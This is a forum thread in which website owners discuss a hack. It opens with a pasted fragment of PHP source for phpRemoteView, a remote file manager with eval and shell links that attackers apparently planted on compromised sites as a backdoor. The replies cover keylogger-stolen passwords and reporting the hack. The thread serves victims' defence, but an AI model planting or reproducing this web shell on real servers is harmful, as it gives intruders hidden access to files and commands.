case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "n": $listsort[$v]=strtolower($v); break;
case "t": $listsort[$v]=$ftype[$v]; break;
case "s": $listsort[$v]=$fsize[$v]; break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;

}
}
}


//echo "<pre>DIRS:"; print_r($names);
if ($cc[1]) arsort($listsort); else asort($listsort);
//$names=array_merge($names,$listsort);
foreach ($listsort as $k=>$v) $names[$k]=$v;
//echo "<pre>FILES:"; print_r($listsort);
//echo "<pre>NAMES:"; print_r($names);

?>
<STYLE>
.title {
color: 'black';
background: #D4D0C8;
text-align: 'center';
BORDER-RIGHT: #888888 1px outset;
BORDER-TOP: #ffffff 2px outset;
BORDER-LEFT: #ffffff 1px outset;
BORDER-BOTTOM: #888888 1px outset;
}
.window {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
BACKGROUND-COLOR: #D4D0C8;
CURSOR: default;
}
.window1 {
BORDER-RIGHT: #eeeeee 1px solid;
BORDER-TOP: #808080 1px solid;
BORDER-LEFT: #808080 1px solid;
BORDER-BOTTOM: #eeeeee 1px solid;
FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
}
.line {
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
font: <?php echo $cp[4]; ?>pt <?php echo $cp[3]; ?>;
}
.line2 {
background: #ffffcc;
}
.black {color: black}
a:link.black {color: black}
a:active.black {color: black}
a:visited.black {color: black}
a:hover.black {color: #0000ff}

.white {color: white}
a:link.white{color: white}
a:active.white{color: white}
a:visited.white{color: white}
a:hover.white{color: #ffff77}

a:link {color: #000099;}
a:active {color: #000099;}
a:visited {color: #990099;}
a:hover {color: #ff0000;}
a {
CURSOR: default;
}
.windowtitle {
font: 9pt; Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif;
font-weight: bold;
color: white;
}
.sym {
font: 14px Wingdings;
}
</STYLE>

<?php

function up2($d) {
global $win,$self;
$d=str_replace("\\","/",$d);
if (substr($d,-1)!="/") $d.="/";
$d=str_replace("//","/",$d);

$n=explode("/",$d);
unset($n[count($n)-1]);

$path="";
for ($i=0; $i<count($n); $i++) {
$path="$path$n[$i]/";
if ($i==0) $path=strtoupper($path);
$paths[]=$path;
}

$out="";
$sum=0;
$gr=70;
for ($i=0; $i<count($n); $i++) {
$out.="<a href=$self?c=l&d=".urlencode($paths[$i])." class=white>";
if (strlen($d)>$gr && $i>0 && $i+1<count($n)) {
if (strlen($d)-$sum>$gr) {
$out.="";
$sum+=strlen($n[$i]);
}
else
$out.=$n[$i];
}
else
if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i];
$out.="/</a>";

}

return $out;
return "<font size=-2>$d</font>";
}

$ext=array();
$ext['html']=array('html','htm','shtml');
$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg');
$ext['exe']=array('exe','com','pif','src','lnk');
$ext['php']=array('php','phtml','php3','php4','inc');
$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg');


echo "\n\n\n<script>\nfunction tr(";
for ($i=0; $i<strlen($cn); $i++) {
echo "a$i,";
}
echo "x) {\ndocument.write(\"<tr bgcolor=#eeeeee";
// echo " onMouseOver='this.style.value=\\\"line2\\\"' onMouseOut='this.style.value=\\\"line\\\"'>";
echo " onMouseOver='this.style.backgroundColor=\\\"#FFFFCC\\\"' onMouseOut='this.style.backgroundColor=\\\"\\\"'>";
for ($i=0; $i<strlen($cn); $i++) {
echo '<td align='.$cn_align[$cn[$i]].' class=line ';
switch ($cn[$i]) {
case 's': case 'c': case '1': case '2': case '3': case 't':
echo ' nowrap';
}
echo ">";
if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0";
echo "\"+a$i+\"";
if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0";
echo "</td>";
}
echo "</tr>\");\n}";
echo "\n\n</script>\n\n\n";


//phpinfo();
//echo implode(" | ",$cp);
echo '<table border=0 cellspacing=2 cellpadding=0 bgcolor=#cccccc
class=window align=center width=60%><form name=main>';

echo '<tr><td colspan='.strlen($cn).' bgcolor=#0A246A background="'.
$self.'?c=img&name=fon&r=" class=windowtitle>';

echo '<table width=100% border=0 cellspacing=0 cellpadding=2 class=windowtitle><tr><td>'.
'<a href='.$self.'><img src='.$self.'?c=img&name=dir border=0></a>'.
up2($d.$f).'</td></tr></table>';

echo '</td></tr>'.
'<tr><td>'.
'<table width=100% border=0 cellspacing=0 cellpadding=0 class=window1><tr>';

$button_help=array(
'up'=>"UP DIR",
'refresh'=>"RELOAD",
'mode'=>'SETUP, folder option',
'edit'=>'DIR INFO',
'home'=>'HomePage',
'papki'=>'TREE',
'setup'=>'PHP eval, Shell',
'back'=>'BACK',
);

function button_url($name) {
global $self,$d,$f,$uurl;
switch ($name) {
case 'up': return "$self?c=l&d=".urlencode(realpath($d.".."));
case 'refresh': return "$self?c=l&r=".rand(0,10000)."&d=".urlencode($d);
case 'mode': return "$self?c=setup&ref=$uurl";
case 'edit': return "$self?c=d&d=".urlencode($d);
case 'home': return "http://php.spb.ru/remview/";
case 'papki': return "$self?c=tree&d=".urlencode($d);
case 'setup': return "$self?c=t";
case 'back': return "java script:history.back(-1)";
}
}
echo '<td colspan='.strlen($cn).'>
<table border=0 cellspacing=0 cellpadding=2><tr>';
$buttons=array('back','up','refresh','edit','mode','disk','full','papki','setup','home');
$tmp=strtoupper($d[0]);
for ($i=0; $i<count($buttons); $i++) {
if ($buttons[$i]=='full') {
echo '<td class=window width=90% align=center nowrap><font color=#999999 face="Arial Black"
style="font-size: 11pt;">&lt;?php<u>R</u>emote<u>V</u>iew?&gt;</font></td>';
continue;
}
if ($buttons[$i]=='disk') {
if (!$win) continue;
echo '<td width=1% title=\'Select dist\' class=window onMouseOver="this.style.backgroundColor=\'#eeee88\'" '.
' onMouseOut="this.style.backgroundColor=\'\'">';
echo "<select name=disk size=1; style='font: 9pt Arial Black; color: #999999 '
onChange='location.href=\"$self?c=l&d=\"+document.main.disk.options[document.main.disk.selectedIndex].value+\":/\"'>";
for ($j=ord('A'); $j<=ord('Z'); $j++)
echo '<option value="'.chr($j).'"'.(chr($j)==$tmp?" selected":"").'>'.chr($j);
echo "</select></td>";
continue;
}
$bturl=button_url($buttons[$i]);
echo '<td width=1% title=\''.$button_help[$buttons[$i]].'\' class=window'.
' onMouseMove="this.style.backgroundColor=\'#eeee88\';window.status=\'** '.$button_help[$buttons[$i]].' ** '.$bturl.'\'"'.
' onMouseOut="this.style.backgroundColor=\'\';window.status=\'\'"'.
' onClick=\'location.href="'.$bturl.'"\'><a href=';
echo button_url($buttons[$i]);
echo '><img HSPACE=3 border=0 src='.$self.'?c=img&name='.$buttons[$i].'></a></td>';
}
echo '</tr></table>
</td></tr><tr>';


for ($i=0; $i<strlen($cn); $i++) {
echo "<td nowrap class=title onClick='location.href=\"".
"$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl\"'";
switch ($cn[$i]) {
case 1: case 2: case 3: case "s": echo " width=13%"; break;
case 't': echo " width=2%"; break;
case 'n': echo " width=40%"; break;
}
echo "><a href='$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl' class=black>";
switch ($cn[$i]) {
case "n": case "t": case "s": case "o": case "g":
case "a": case "c": case "1": case "2": case "3":
echo "\xA0".$cn_name[$cn[$i]]."\xA0"; break;
default:
echo "??$cn[$i]??";
}
if ($cc[0]==="$i") {
if ($cc[1]=='0') echo "<img src=$self?c=img&name=sort_asc border=0>";
else echo "<img src=$self?c=img&name=sort_desc border=0>";
}
echo '</a></td>';
}
echo '</tr>';

echo "\n\n<script>\n\n";
foreach ($names as $k=>$v) {

echo "\n\n// $k \n";
echo 'tr(';

for ($i=0; $i<strlen($cn); $i++) {

switch ($cn[$i]) {

case 'n':
switch($ftype[$k]) {
case 'file':
$vv=strtolower(substr($k,strlen($k)-4,4));
$add="";
if ($vv==".gif" || $vv==".jpg" || $vv==".png" || $vv==".bmp"
|| $vv==".ico" || $vv=="jpeg") $add="&ftype=2&fnot=1";
if (substr($k,0,5)=="sess_") $add="&ftype=4";
$ln='<a href='.$self.'?&c=v&d='.urlencode($d).
'&f='.urlencode($k).$add.'>';
break;

default:
$ln='<a href='.$self.'?&c=l&d='.urlencode($d.$k).'>';
break;
}

if ($ftype[$k]=='dir')
$ln.='<img src='.$self.'?c=img&name=dir border=0>';
else {
$found=0;
foreach ($ext as $kk=>$vv) {
if (in_array(strtolower($fext[$k]),$vv)) {
$ln.='<img src='.$self.'?c=img&name='.$kk.' border=0>';
$found=1;
break;
}
}
if (!$found)
$ln.='<img src='.$self.'?c=img&name=unk border=0>';
}
$ln.=substr($k,0,48).'</a>';
echo jsval($ln);

break;

case "t":
switch ($ftype[$k]) {
case "dir":
echo jsval("<a href=$self?c=d&d=".urlencode($d.$k).">DIR</a>");
break;
case "file":
echo jsval("<a href=$self/".urlencode($k)."?&c=v&fnot=1&ftype=3&d=".
urlencode($d)."&f=".urlencode($k)." class=sym>\xF2</a> ".
"<a href=$self?&c=i&d=".urlencode($d)."&f=".urlencode($k)." class=sym>\xF0</a>");
break;
case "link":
echo jsval("<font class=t>—&gt;</font>");
break;
default:
echo jsval("??");
break;
}
break;

case "s":
if ($ftype[$k]=='file') echo jsval(sizeparse($fsize[$k]));
else echo jsval('');
break;

case "o":
$tmp=@_posix_getpwuid($fowner[$k]);
if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$k];
else $tow=$tmp['name'];
echo jsval($tow);
break;

case "g":
$tmp2=@_posix_getgrgid($fgroup[$k]);
if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$k];
else $tgr=$tmp2['name'];
echo jsval($tgr);
break;

case "a":
$tmp=@_posix_getpwuid($fowner[$k]);
if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$k];
else $tow=$tmp['name'];
$tmp2=@_posix_getgrgid($fgroup[$k]);
if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$k];
else $tgr=$tmp2['name'];
echo jsval("$tow/$tgr");
break;

case "c":
echo jsval(display_perms($fperms[$k])); break;

case "1": echo jsval(date($cp[2],$fctime[$k])); break;

case "2": echo jsval(date($cp[2],$fmtime[$k])); break;

case "3": echo jsval(date($cp[2],$fatime[$k])); break;

default: echo "??$cn[$i]??";

} //switch ($ftype)

}//for ($cn)

echo "0);\n";

}//foreach ($names)

echo "\n\n</script>\n\n\n";

echo '</td></tr></table></td></tr></table></td></tr></table>';


echo "<P align=center>
<font size=1 style='Font: 8pt Verdana'><B>
<a href=$self?c=setup&ref=$uurl>".mm("Setup")."</a> |
<a href=$self?c=t>PHP eval</a> |
<a href=$self?c=phpinfo>phpinfo()</a> |
<a href=$self?c=t>Shell</a> |
<a href=$self?c=codes>".mm("Char map")."</a> |
".mm("Language").":
<a href=$self?c=set&c2=eng&ref=$uurl&pan=0>".mm("English")."</a>/<a href=$self?c=set&c2=rus&ref=$uurl&pan=0>".mm("Russian")."</a>

</b>
<hr size=1 noshade width=55%><center>

<table border=0 cellspacing=0 cellpadding=0><tr><td width=32>
<font face=webdings style='Font-size: 22pt;'>!</font></td><td>
<font size=1 style='Font: 8pt Verdana'>phpRemoteView &copy; Dmitry Borodin (".mm("version")." $version)<br>
".mm("Free download")." - <a href='http://php.spb.ru/remview/'>http://php.spb.ru/remview/</a></b></font></td>
</tr></table>";

break;


case "set":

switch ($c2) {
case "sort":
$name=intval($name);
if ($name==$cc[0]) if ($cc[1]==='0') $cc[1]='1'; else $cc[1]='0';
$cc[0]=$name;
break;

case "panel":
$cn='';
foreach ($names as $k=>$v) {
if ($v!="") $cn.=substr($v,0,1);
}
$cc[0]=substr($sort,0,1);
$cc[1]=substr($sortby,0,1);
$cp[2]=substr($datetime,0,50);
$cp[3]=substr($fontname,0,50);
$cp[4]=substr($fontsize,0,50);

//exit("cn=$cn<br>cc=$cc");
break;

case "eng":
$cc[5]=1;
break;

case "rus":
$cc[5]=2;
break;

}


$cookie=$cc."~".$cn."~".$cp[2]."~".$cp[3]."~".$cp[4];
if ($c2=="reset") $cookie=implode("~",$cp_def);
//echo "<script>alert('$cookie')</script>";
setcookie("cp$pan",$cookie,time()+24*60*60*333,'/');
header("Location: $ref");
echo "<script>location.href=\"$ref\";</script>";
//echo "[$ref]";
//phpinfo();
break;


case "setup":

echo $GLOBALS['html'];

echo "<center><h3><b>phpRemoteView ".mm("setup")."</b> [<A href='java script:history.go(-1)'>".mm("back")."</a>]</h3></center><hr size=1 noshade>";

echo "<STYLE>
.s
Go to the top of the page
 
+Quote Post
edskers
post Nov 11 2006, 04:56 PM
Post #4


Expert Member
****

Group: Senior Program Owners
Posts: 2283
Joined: 28-September 03
Member No.: 16313
i just found that in mine but it was called login2.php or something to that effect

thought i would let u know..
Go to the top of the page
 
+Quote Post
sophieca
post Nov 11 2006, 05:13 PM
Post #5


GPF Addict
*****

Group: Senior Members
Posts: 20827
Joined: 24-March 02
Member No.: 937
QUOTE(edskers @ Nov 11 2006, 11:56 PM) [snapback]4590294[/snapback]

i just found that in mine but it was called login2.php or something to that effect

thought i would let u know..


OK, am tired, have an headache so am probably acting blonde, but you found that login2.php on your site and it did the same as dogenitro and Co ?
Go to the top of the page
 
+Quote Post
Guest_wagdoll_*
post Nov 11 2006, 10:10 PM
Post #6





Guests
Sophie, the code Genelle has pasted is what the hacker has left on the site, it's related to the dodgenitro but you wouldn't see this from the outside. Same with what edskers has said, the file would not be visible from the outside, but only to the program owner. I hope that make sense.

Genelle, thank you sooo much for posting all of that!! I don't understand why the FBI would not be interested in a major event like this. You are supposed to report hackers to the FBI and this is not just simple hacking but a keylogger for theft as well...
Go to the top of the page
 
+Quote Post
mitgib
post Nov 11 2006, 10:23 PM
Post #7


Veteran Member
***

Group: Senior Program Owners
Posts: 953
Joined: 21-November 05
From: The Not So Deep South
Member No.: 67500
I found this on a site today, and again I can trace it to the "hacker" gaining access to the site with a valid password, so yes, this file gives them access to the site without logging in, they still needed access to the site to plant the file, so it is still PO's/helpers with spyware/virus's on their PC's with keyloggers transmitting the passwords to this person/people.

I think our efforts would be better spent educating the public how insecure IE/CB/any other piece of junk browser based on IE is and also the importance of better passwords, and not letting helpers have the main cpanel password to limit who has access to the filesystem to begin with.
Go to the top of the page
 
+Quote Post
sophieca
post Nov 12 2006, 04:51 AM
Post #8


GPF Addict
*****

Group: Senior Members
Posts: 20827
Joined: 24-March 02
Member No.: 937
QUOTE(wagdoll @ Nov 12 2006, 05:10 AM) [snapback]4590407[/snapback]

Sophie, the code Genelle has pasted is what the hacker has left on the site, it's related to the dodgenitro but you wouldn't see this from the outside. Same with what edskers has said, the file would not be visible from the outside, but only to the program owner. I hope that make sense.

Genelle, thank you sooo much for posting all of that!! I don't understand why the FBI would not be interested in a major event like this. You are supposed to report hackers to the FBI and this is not just simple hacking but a keylogger for theft as well...


Ah ok, I see, so POs might know better what to look for thanks to the posts here but I wouldn't possibly see all that, I think I get it (IMG:style_emoticons/default/smile.gif)

If someone knows who to report this to, be it FBI or any other company, I do think too it would be worth it.
Go to the top of the page
 
+Quote Post
mcf
post Nov 12 2006, 01:01 PM
Post #9


GPF Addict
*****

Group: Senior Members
Posts: 6398
Joined: 1-June 03
Member No.: 11327
THANK YOU !! posters in this thread for verifying to me the importance of dealing with this recent exploit !!

I was recently told by a long term member of this forum to "just go" for mentioning a new manefestation of this exploit. (Go where I am not sure...maybe he meant leave the forum, or go..... do something that would be not liked by the word censor) (IMG:style_emoticons/default/wacko.gif)

Anyway, I have done a little more reading and realize that this has been a major problem and head ache for many hosting companies and website owners. It was a well planned hack prepared well in advance of the attack.

Here are a couple of links I found interesting and underline the magnitude of this problem and the difficulties of dealing with it.

http://forums.hostgator.com/showthread.php...hlight=exploits

http://www.bluetack.co.uk/forums/index.php...amp;#entry74754

One person said:
QUOTE
This was devasating to us as well as anyone that had a website affected. We will do our best to help everyone recover from this.


This was sure not something just to be passed off a minor problem to be covered by fast patch !!
Go to the top of the page
 
+Quote Post
« Next Oldest · Sites hit by virusses or hacked · Next Newest »
 

Closed TopicStart new topic


1 User(s) are reading this topic (1 Guests and 0 Anonymous Users)
0 Members:

 



Advertise Here
Lo-Fi Version Time is now: 16th May 2012 - 04:56 PM
Powered By IP.Board © 2012  IPS, Inc.

GPTBoycott.com

Get Paid to Read email | TommyDSports | Website Marketing Services


Hosting Provided by: HostingLagoon